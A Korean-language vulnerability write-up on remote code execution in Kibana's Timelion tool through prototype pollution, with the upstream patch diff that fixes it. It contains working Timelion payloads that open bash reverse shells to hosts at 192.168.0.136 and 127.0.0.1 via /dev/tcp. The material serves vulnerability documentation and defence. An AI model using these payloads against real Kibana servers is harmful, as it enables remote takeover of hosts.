
Kibana 5.6.15 이전 및 6.6.0 이전 버전의 Timelion 시각화 도구에서의 RCE
Kibana 5.6.15 및 6.6.1 이전 버전은 Timelion 시각화 도구에서 임의 코드 실행 결함을 포함합니다. Timelion 애플리케이션에 접근할 수 있는 공격자는 JavaScript 코드를 실행하려고 시도하는 요청을 보낼 수 있습니다. 이로 인해 공격자가 호스트 시스템에서 Kibana 프로세스의 권한으로 임의 명령을 실행할 수 있습니다.
Found by @securityMB
참고: 저는 Kibana 6.6.0에서 이 공격을 테스트했지만 작동하지 않았습니다... 제 경우에는 @securityMB가 설명한 대로 Kibana < 6.6.0 버전만 취약합니다.
편집 2019/12/20 : Canvas 패널에 접근할 수 없는 경우, @Synacktiv의 이 writeup을 확인하세요 https://www.synacktiv.com/posts/pentest/pwning-an-outdated-kibana-with-not-so-sad-vulnerabilities.html

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i>& /dev/tcp/127.0.0.1/6666 0>&1\'");//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
상세 분석 (영문):
보안 권고:
https://github.com/elastic/kibana/commit/3377f813a5d96ff466bdf7343ce161de24830ed4.patch
From 3377f813a5d96ff466bdf7343ce161de24830ed4 Mon Sep 17 00:00:00 2001
From: ppisljar <[email protected]>
Date: Wed, 16 Jan 2019 06:01:20 -0800
Subject: [PATCH] fixes
---
.../core_plugins/timelion/server/series_functions/props.js | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/src/legacy/core_plugins/timelion/server/series_functions/props.js b/src/legacy/core_plugins/timelion/server/series_functions/props.js
index 81b74901d4db..80e9cafd6712 100644
--- a/src/legacy/core_plugins/timelion/server/series_functions/props.js
+++ b/src/legacy/core_plugins/timelion/server/series_functions/props.js
@@ -32,7 +32,7 @@ function unflatten(data) {
let prop = '';
let m;
while (m = regex.exec(p)) {
- cur = cur[prop] || (cur[prop] = (m[2] ? [] : {}));
+ cur = (cur.hasOwnProperty(prop) && cur[prop]) || (cur[prop] = (m[2] ? [] : {}));
prop = m[2] || m[1];
}
cur[prop] = data[p];